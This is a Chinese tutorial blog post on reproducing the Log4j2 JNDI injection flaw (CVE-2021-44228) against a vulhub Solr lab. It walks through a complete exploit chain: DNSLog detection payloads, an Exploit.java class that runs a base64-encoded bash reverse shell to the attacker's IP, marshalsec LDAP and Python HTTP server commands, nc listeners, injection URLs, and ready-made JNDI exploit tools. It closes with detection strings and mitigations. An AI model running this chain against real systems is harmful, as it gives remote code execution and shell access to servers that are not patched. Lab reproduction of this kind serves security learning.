log4j2远程代码执行漏洞原理与漏洞复现（基于vulhub，保姆级的详细教程）

news2024/9/22 9:36:01

漏洞原理

啥是log4j2?

log4j2是apache下的java应用常见的开源日志库，是一个就Java的日志记录工具。在log4j框架的基础上进行了改进，并引入了丰富的特性，可以控制日志信息输送的目的地为控制台、文件、GUI组建等，被应用于业务系统开发，用于记录程序输入输出日志信息。

啥是JNDI？

由于漏洞利用会涉及到JNDI注入相关的知识，这里简要做一个对JNDI的介绍。

JNDI，全称为Java命名和目录接口（Java Naming and Directory Interface）,是SUN公司提供的一种标准的Java命名系统接口，允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典，使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务，本文以LDAP服务为例进行复现。

log4j2远程代码执行漏洞原理

cve编号：CVE-2021-44228

log4j2框架下的lookup查询服务提供了{}字段解析功能，传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制，就有可能让查询指向任何服务（可能是攻击者部署好的恶意代码）。

攻击者可以利用这一点进行JNDI注入，使得受害者请求远程服务来链接本地对象，在lookup的{}里面构造payload，调用JNDI服务（LDAP）向攻击者提前部署好的恶意站点获取恶意的.class对象，造成了远程代码执行（可反弹shell到指定服务器）。

画个简单点的漏洞利用示意图，如下：

尽可能画的详细一点，大概是下图。

 攻击者构造payload，在JNDI接口lookup查询进行注入，payload为${jndi:ldap:恶意url/poc}，JNDI会去对应的服务（如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap）查找资源，由于lookup的出栈没做限制，最终指向了攻击者部署好的恶意站点，下载了远程的恶意class，最终造成了远程代码执行rce。

 靶场搭建

 靶机：Ubuntu  192.168.200.129（无所谓是不是Ubuntu，随便找个地方用docker启动就行）

用vulhub靶场搭建，首先进入目录CVE-2021-44228中，docker启动命令：

docker-compose up –d

查看一下端口：

Docker-compose up -d

 发现端口是8983，浏览器访问http://192.168.200.129:8983/

 漏洞检测

 用dnslog平台检测dns回显，看看有没有漏洞存在，网址为：DNSLog Platform

 点击Get SubDomin获取一个子域名，我这里是3dto27.dnslog.cn

在/solr/admin/cores?有个参数可以传，这就是个注入点，我们试试能不能输出java版本，构造payload，访问的url如下：

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.3dto27.dnslog.cn }

 注意别忘了将url中的ip改为靶机ip,注入部分中的3dto27.dns.log.cn改为你在Get SubDomin获取的子域名。如果存在log4j2漏洞，我们将在DNSLog平台看到回显。

返回刚才的DNSLog平台，点击刷新记录Refresh Record（可能比较慢，不要着急，可以多点几次Refresh Record），可以看到有数据：在DNS Query Record一栏下面出现了条目，回显了java版本1.8.0_102，说明存在log4j漏洞。

漏洞利用（获取反弹shell） 

我第一次复现的时候，直接用了JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar或JNDIExploit-1.4-SNAPSHOT.jar，可以在github上搜一下（后文会介绍），但我写博客的时候考虑到用这种工具感觉像是一键复现漏洞，对漏洞利用的每个步骤好像并不是很明确，所以我们还是先不用这种方法，还是老老实实自己编写一下恶意代码，启动一下恶意的http服务站点和LDAP服务，完整的演示一下过程。

靶机：Ubuntu  192.168.200.129 （随便找个地方用docker搭一下就行）

攻击机： kali  192.168.200.131 （无所谓是不是kali，windows都行）

方法一：编写恶意文件

我们先编写以下的恶意文件Exploit.java，我们企图反弹shell到kali（ip为192.168.200.131）的7777端口，因此对应的bash命令为：

bash -i >& /dev/tcp/192.168.200.131/7777 0>&1

然后对上述命令进行base64编码，这里给出一个网站，可以直接进行payload的编码：Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

编码结果为：

 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

好的，有了编码结果，我们就可以编写恶意文件了，编写以下代码命名为Exploit.java。

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}

然后我们把Exploit.java编译为Exploit.class，最好保证javac的版本为1.8。命令如下：

javac Exploit.java

我是在物理机中编译的，编译完成之后的.class文件立即被windows安全中心的病毒和威胁防护功能给干掉了，需要还原一下（手动狗头）。把编译好的Exploit.class放到攻击机kali的随便一个目录下：

并在此目录开启http服务，我这里把端口设置为了4444，命令如下：

python -m http.server 4444

 然后浏览器访问攻击机ip:端口，我这里为192.168.200.131:4444 ，应该可以看到一个目录：

 读者只要保证你的站点目录里有Exploit.class就行，至于我目录里有啥其他的读者不用在意。接下来，我们在攻击机启动LDAP服务。这里使用工具marshalsec-0.0.3-SNAPSHOT-all.jar来快速开启，这个工具在我的上一篇博客中有提到，详情见

(56条消息) Fastjson反序列化漏洞原理与漏洞复现（基于vulhub，保姆级的详细教程）_Bossfrank的博客-CSDN博客

下载链接为marshalsec-0.0.3-SNAPSHOT-all.jar，下载完之后用mvn clean package -DskipTests生成.jar文件。在上一篇博客中，我们是用这个工具建立了RMI 服务，这次我们是要用这个工具建立LDAP服务。

好了，废话说完了，现在我们在攻击机marshalsec-0.0.3-SNAPSHOT-all.jar所在目录开启LDAP监听，命令中的1389为LDAP服务的端口，你也可以换成别的端口。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://刚才http服务的地址:端口号/#Exploit" 1389

本例中的命令为：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://192.168.200.131:4444/#Exploit" 1389

 接着在攻击机另起一个终端，监听之前Exploit.java里面写的反弹shell的端口7777，命令为：

nc -lvvp 7777

 最后一步，也是最关键的一步，进行JNDI注入，我们在注入点/solr/admin/cores?action构造一个JNDI注入如下：

${jndi:ldap://192.168.200.131:1389/Exploit}

完整的url为：

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}

也可以用Burp抓包改包，但由于是get请求，直接输入url就行了。

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}

访问上述url（别忘了把第一个ip改为靶机ip，第二个ip改为之前建立的LDAP服务的地址:端口号），应该就成功了，访问的页面回显如下：

 攻击机启动的LDAP服务的终端显示如下：

 攻击机开启的HTTP服务的终端显示如下：

 可以看到最后两条日志信息，靶机已经通过GET方法请求了我们的恶意代码Exploit.class，状态码为200，成功响应，此时应该已经实现了RCE远程代码执行。我们查看对7777端口进行监听的终端，成功获取了shell:

已经可以在攻击机执行任何代码了：

 这样就实现了攻击，复现了log4j的远程代码执行漏洞。

复现成功之后别忘了用如下命令关闭靶场。

docker-compose down

 方法二：直接利用现成的JNDI注入工具

这种方法更为便捷，属于是一键部署了。用到的工具为JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar，项目地址：sayers522/JNDI-Injection-Exploit: JNDI命令注入利用 (github.com)

下载之后还要用maven生成.jar可执行文件，在pom.xml目录下运行：mvn clean package -DskipTests   如果没有mvn，参阅

(51条消息) 史上最全安装Maven教程_安装mvnw_小Du猿的博客-CSDN博客

如果build成功，会生成一个target目录，里面会有JNDI-Injection-Exploit-1.0-SNAPSHOT-.jar

 使用这个工具，我们就不用自己编写恶意代码.class再上传服务器了，直接用这个工具输入对应的命令就行了。

与方法一类似，我们的目标是反弹shell到目标端口，反弹shell的命令为：bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

本例为（一会我们会在攻击机的一个终端监听6666端口）：

bash -i >& /dev/tcp/192.168.200.131/6666 0>&1

还是要对这个命令进行base64编码，网址再贴一遍：

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

编码后的结果为：

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

 然后我们利用JNDI注入工具把这个反弹shell命令部署到LDAP服务上去，在JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar所在目录运行如下命令：

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "构造反弹shell的命令的base64编码" -A "攻击机ip"

 本例为：

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.200.131"

运行之后的终端显示如下：

 可以看到，这里已经一键部署好了RMI和LDAP服务的站点，并给出了路径，JDK1.8的版本为ldap://192.168.200.131:1389/Exploit，JDK1.7的版本为：ldap://192.168.200.131:1389/Exploit7 。这两个任选一个都行。

然后再打开一个终端，监听一个端口，本例监听的是6666（前面的反弹shell命令写的就是6666）：

nc –lvvp 6666

 最后一步和方法一一样，构造payload，由于是GET方式，浏览器访问以下任意一个url即可：

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit7}

用rmi应该也行：

http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/Exploit}

http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/Exploit7}

这里以访问LDAP的Exploit为例:

 JNDI注入工具的终端显示如下：

 打开刚才监听的终端，成功获取了反弹shell：

此时已经可以执行任意命令了：

这样就利用JNDI注入工具实现了攻击，复现了log4j的远程代码执行漏洞。

复现成功之后别忘了用如下命令关闭靶场。

docker-compose down

也可以使用其他的注入工具，如JNDIExploit-1.4-SNAPSHOT.jar ，Github链接：WhiteHSBG/JNDIExploit: 对原版https://github.com/feihong-cs/JNDIExploit 进行了实用化修改

这个工具是在攻击机的对应目录运行：

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击机ip

  

然后监听个端口7777，再浏览器访问

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Basic/ReverseShell/192.168.200.131/7777}

之后就获得shell了。

 如下图，攻击成功。

 结语

 log4j2是2021年底爆出的非常严重的漏洞，可谓是风靡一时，“血洗互联网”，也是安全公司面试的常见题目，我们应该了解这个漏洞的原理及利用方式。

如何排查是否受到了攻击？

检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符来发现可能的攻击行为，前面复现的过程在payload的构造中都出现了这样的字符串，这是攻击的典型标志。

如何对log4j2的攻击进行防御？
1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈，也就不可能请求到访问到远程的恶意站点。
2.对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截，即拦截JNDI语句来防止JNDI注入。
3.对系统进行合理配置，禁止不必要的业务访问外网，配置网络防火墙,禁止系统主动外连网络等等。
4.升级log4j2组件到新的安全的版本。

这是我的第二篇CSDN博客，希望以后能坚持多写写网络安全相关的文章，还望读者们多多关注，多多支持。如果有什么问题，欢迎评论区讨论。

最后我在b站上看了一个对此漏洞进行复现的视频，讲的挺清楚的，这里给个链接吧：

【面试必问】Log4j漏洞复现及原理刨析，简单易懂_哔哩哔哩_bilibili

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1237868.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

Pycharm run 输出界面控制一行能够输出的元素个数

Pycharm run 输出界面控制一行能够输出的元素个数

Pycharm run 输出界面控制一行能够输出的元素个数 今天遇到了一个问题，当我们在 Pycharm 中打印输出数组时，如果数组一行的元素个数过多，那么我们在打印时就会出现以下问题。 代码如下： import numpy as npx np.array([[0., 0.7…
阅读更多...
jQuery【菜单功能、淡入淡出轮播图(上)、淡入淡出轮播图(下)、折叠面板】(五)-全面详解（学习总结---从入门到深化）

jQuery【菜单功能、淡入淡出轮播图(上)、淡入淡出轮播图(下)、折叠面板】(五)-全面详解（学习总结---从入门到深化）

目录 菜单功能 淡入淡出轮播图(上) 淡入淡出轮播图(下) 折叠面板 菜单功能 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><…
阅读更多...
某高品质房产企业：借助NineData平台，统一数据库访问权限，保障业务安全

某高品质房产企业：借助NineData平台，统一数据库访问权限，保障业务安全

该企业是中国领先的优质房产品开发及生活综合服务供应商。在 2022 年取得了亮眼的业绩表现&#xff0c;销售额市场占有率跻身全国前五。业务涵盖房产开发、房产代建、城市更新、科技装修等多个领域。 2023 年&#xff0c;该企业和玖章算术&#xff08;浙江&#xff09;科技有限…
阅读更多...
01-论文阅读-Deep learning for anomaly detection in log data: a survey

01-论文阅读-Deep learning for anomaly detection in log data: a survey

01-论文阅读-Deep learning for anomaly detection in log data: a survey 文章目录 01-论文阅读-Deep learning for anomaly detection in log data: a survey摘要I 介绍II 背景A 初步定义B 挑战 III 调查方法A 搜索策略B 审查的功能 IV 调查结果A 文献计量学B 深度学习技术C …
阅读更多...
electron入门（一）环境搭建，实现样例

electron入门（一）环境搭建，实现样例

1、首先需要安装git和node&#xff0c;配置环境变量&#xff0c;确保npm和git命令可用 2、 然后安装依赖 npm install -g electronnpm install -g electron-forgenpm install -g electron-prebuilt-compile3、 创建样例工程 electron-forge init my-new-app # 我这里碰见报错…
阅读更多...
Spring框架学习 -- 创建与使用

Spring框架学习 -- 创建与使用

目录 (1) 创建spring 项目 ① 创建maven项目 ②添加spring框架支持 ③ 添加启动项 (2) 创建 Bean对象 (3) 将Bean注入到容器 (4) 获取Bean对象 (5) 注意事项 (6) Spring的创建和使用流程图 创作不易多多支持 (1) 创建spring 项目 首先我们使用的开发工具为idea 专业版…
阅读更多...
【vue+eltable】修改表格滚动条样式

【vue+eltable】修改表格滚动条样式

<style lang"scss" scoped> ::v-deep .el-table__body-wrapper::-webkit-scrollbar {width: 10px; /*纵向滚动条的宽度*/height: 10px; /*横向滚动条的高度*/ } /*定义滚动条轨道 内阴影圆角*/ ::v-deep .el-table__body-wrapper::-webkit-scrollbar-track {bo…
阅读更多...
ZKP11.1 From Practice To Theory

ZKP11.1 From Practice To Theory

ZKP学习笔记 ZK-Learning MOOC课程笔记 Lecture 11: From Practice to Theory (Guest Lecturer: Alex Lombardi) 11.1 The Feasibility of Interactive ZK SMPC: semi-honest protocol ZKP malicious protocol Parties use ZKP to prove that they follow the protocol T…
阅读更多...
探索实人认证API：保障在线交互安全的关键一步

探索实人认证API：保障在线交互安全的关键一步

前言 在数字化时代&#xff0c;随着人们生活的日益数字化&#xff0c;各种在线服务的普及&#xff0c;安全性成为用户体验的至关重要的一环。特别是在金融、电商、社交等领域&#xff0c;确保用户身份的真实性显得尤为重要。而实人认证API作为一种先进的身份验证技术&#xff…
阅读更多...
基于C#实现AC自动机算法

基于C#实现AC自动机算法

我要检查一篇文章中是否有某些敏感词&#xff0c;这其实就是多模式匹配的问题。当然你也可以用 KMP 算法求出&#xff0c;那么它的时间复杂度为 O(c*(mn))&#xff0c;c&#xff1a;为模式串的个数。m&#xff1a;为模式串的长度,n:为正文的长度&#xff0c;那么这个复杂度就不…
阅读更多...
设计模式篇---外观模式

设计模式篇---外观模式

文章目录 概念结构实例总结 概念 外观模式&#xff1a;为子系统中的一组接口提供一个统一的入口。外观模式定义了一个高层接口&#xff0c;这个接口使得这一子系统更加容易使用。 外观模式引入了一个新的外观类&#xff0c;它为多个业务类的调用提供了一个统一的入口。主要优点…
阅读更多...
HSV映射到圆锥坐标系

HSV映射到圆锥坐标系

def bgr2hsvcone(img):arr_hsv cv2.cvtColor(img, cv2.COLOR_BGR2HSV)h arr_hsv[..., 0] / 180. * 2s arr_hsv[..., 1] / 255.v arr_hsv[..., 2] / 255.x np.cos(h * np.pi) * s * vy np.sin(h * np.pi) * s * vreturn np.stack((x, y, v), axis-1)
阅读更多...
Redis 的集群模式实现高可用

Redis 的集群模式实现高可用

来源&#xff1a;Redis高可用&#xff1a;武林秘籍存在集群里&#xff0c;那稳了~ (qq.com) 1. 引言 前面我们已经聊过 Redis 的主从同步&#xff08;复制&#xff09;和哨兵机制&#xff0c;这期我们来聊 Redis 的集群模式。 但是在超大规模的互联网应用中&#xff0c;业务规…
阅读更多...
七牛云产品使用介绍之CDN篇

七牛云产品使用介绍之CDN篇

上一篇介绍了七牛云的Kodo对象存储&#xff0c;并用Java SDK实现将本地文件上传到bucekt&#xff0c;接下来是对CDN产品的介绍 CDN&#xff08;内容分发网络&#xff09;&#xff1a;通过多级缓存实现对Kodo中的资源或者自己网站的资源的加速访问&#xff0c;让你的系统更快更强…
阅读更多...
ProPresenter 7 for Mac：Mac电脑好用的文稿演示软件

ProPresenter 7 for Mac：Mac电脑好用的文稿演示软件

ProPresenter 7是一款专业的多媒体演示软件&#xff0c;主要用于创建和展示高质量的教堂媒体演示、音乐歌词、幻灯片和视频等。它是一款功能强大且易于使用的软件&#xff0c;被广泛应用于教堂、会议、演唱会和其他场合。以下是ProPresenter 7的一些主要特点和功能&#xff1a;…
阅读更多...
VSCode新建Vue项目

VSCode新建Vue项目

前言 Vue.js 是一款流行的 JavaScript 前端框架&#xff0c;它可以帮助开发者轻松构建高性能、可扩展的 Web 应用程序。而 VSCode 则是一款功能强大的开源代码编辑器&#xff0c;它提供了许多有用的工具和插件&#xff0c;可以大幅提高开发效率。 在本文中&#xff0c;我们将…
阅读更多...
获取当前用户信息的几种方式

获取当前用户信息的几种方式

说明&#xff1a;在开发中&#xff0c;我们经常需要获取当前操作的用户信息&#xff0c;如创建用户、创建订单时&#xff0c;我们需要记录下创建人&#xff0c;本文介绍获取当前用户信息的三种方式。 方式一&#xff1a;使用ThreadLocal ThreadLocal本质上是一个Map&#xff…
阅读更多...
悄悄上线：CSS @starting-style 新规则

悄悄上线：CSS @starting-style 新规则

最近 Chrome 117&#xff0c;CSS 又悄悄推出了一个新的的规则&#xff0c;叫做starting-style。从名称上来看&#xff0c;表示定义初始样式。那么&#xff0c;具体是做什么的&#xff1f;有什么用&#xff1f;一起了解一下吧 一、快速了解 starting-style 通常做一个动画效果…
阅读更多...
基于springboot实现班级综合测评管理系统项目【项目源码+论文说明】

基于springboot实现班级综合测评管理系统项目【项目源码+论文说明】

基于springboot实现班级综合测评管理系统演示 摘要 随着互联网技术的高速发展&#xff0c;人们生活的各方面都受到互联网技术的影响。现在人们可以通过互联网技术就能实现不出家门就可以通过网络进行系统管理&#xff0c;交易等&#xff0c;而且过程简单、快捷。同样的&#x…
阅读更多...
HarmonyOS ArkTS语言，运行Hello World（一）

HarmonyOS ArkTS语言，运行Hello World（一）

一、下载与安装DevEco Studio 在HarmonyOS应用开发学习之前&#xff0c;需要进行一些准备工作&#xff0c;首先需要完成开发工具DevEco Studio的下载与安装以及环境配置。 进入DevEco Studio下载官网&#xff0c;单击“立即下载”进入下载页面。 DevEco Studio提供了Windows…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023